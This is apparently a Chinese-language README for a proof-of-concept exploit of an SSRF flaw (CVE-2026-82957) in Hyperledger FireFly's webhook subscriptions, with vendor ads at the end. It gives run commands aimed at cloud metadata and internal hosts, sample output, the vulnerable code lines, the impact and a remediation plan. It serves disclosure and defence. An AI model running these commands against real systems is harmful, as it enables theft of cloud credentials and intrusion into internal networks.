针对 CVE-2026-82957 的概念验证漏洞利用,该漏洞是 Hyperledger FireFly Core 的 webhooks 事件传输中的一个服务端请求伪造(CWE-918)。任何能够创建事件订阅的客户端都可以注册一个目标 URL 从未被校验的 webhook——当匹配的事件发生时,FireFly 节点自身会发起该 HTTP 请求。将其指向仅限内部访问的地址(云元数据、回环地址、RFC1918 服务)会使该节点沦为受控代理(confused deputy)。
仅需 Python 3 标准库——无依赖。
$ python3 cve_2026_82957.py --help
步骤 1 — 在 FireFly 节点应访问的机器上启动监听器(即 SSRF 受害者):
$ python3 -m http.server 8000 --bind 0.0.0.0
步骤 2 — 运行漏洞利用程序。-t 是 FireFly API 基础 URL,-u 是节点将被强制请求的 URL:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
对于在 Docker 中运行的 FireFly 节点,<host-ip> 是桥接网络网关——可通过 docker network inspect <network> 查找(字段 IPAM.Config.Gateway,例如 172.21.0.1)。
预期输出:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
监听器日志——源 IP 是 FireFly 节点的容器 IP,而非攻击者的机器,证明该请求是由服务器伪造的。SSRF 已确认:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181(“webhooks 调用的基础实现”,2021-06-20)e3c9b8d89(main)中仍然存在——两次提交之间没有任何提交添加主机校验文件:internal/events/webhooks/webhooks.go
| 行号 | 代码 | 问题 |
|---|---|---|
| 191 | url: options.GetString("url") | 目标直接取自用户输入,未经处理 |
| 266 | ValidateOptions(...) | 校验了格式/请求头/超时,但从未校验主机 |
| 394 | req.r.Execute(req.method, req.url) | 请求被发出 |
对解析后的目标地址没有任何允许列表/拒绝列表:没有阻止回环、私有(RFC1918)或链路本地(169.254.0.0/16)地址,且主机和协议完全由攻击者控制。FireFly 默认不附带任何 API 认证插件,因此订阅创建可以是未经认证的。
POST /api/v1/namespaces/{ns}/subscriptions——创建恶意 webhook(对内部 URL 返回 201 Created)POST /api/v1/namespaces/{ns}/messages/broadcast)——触发伪造的请求CWE-918 服务端请求伪造。攻击者可以:
169.254.169.254)读取云凭证 → 升级为控制云账户"reply": true 时,内部响应会作为 FireFly 事件返回给攻击者——并非盲注~8.5 高危 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N——严重程度取决于 API 是否位于认证之后。
在 ValidateOptions 中,解析 URL、解析主机,并拒绝回环/私有/链路本地/未指定地址;将协议限制为 http/https;在连接时重新检查解析后的 IP(自定义 DialContext)以挫败 DNS 重绑定;最好提供一个可配置的允许 webhook 主机列表。
本工具仅用于教育和研究目的。请仅在您拥有或已获得明确测试许可的系统上使用它。作者不对本程序造成的任何滥用或损害负责。
QuimeraX Intelligence 是一个先进的 EASM 和网络威胁情报平台,专注于识别复杂系统中的关键漏洞。该平台主动监控、检测并向客户告警安全威胁,确保透明度并对潜在风险快速响应。如果发现客户系统存在漏洞,客户会立即收到通知和全面的报告,从而能够采取防护措施。了解更多
Hakai Security 是一家由安全专业人士创立的网络安全公司,致力于技术卓越。我们提供量身定制的安全解决方案,包括高级渗透测试、逼真的红队模拟和安全开发实践,主动保护客户资产免受不断演变的网络威胁。
Hacking Club 是一个培训平台,您可以通过由我们安全咨询公司的一线专家创建的实践课程、实验和挑战来学习网络安全:直接从战场到您的培训。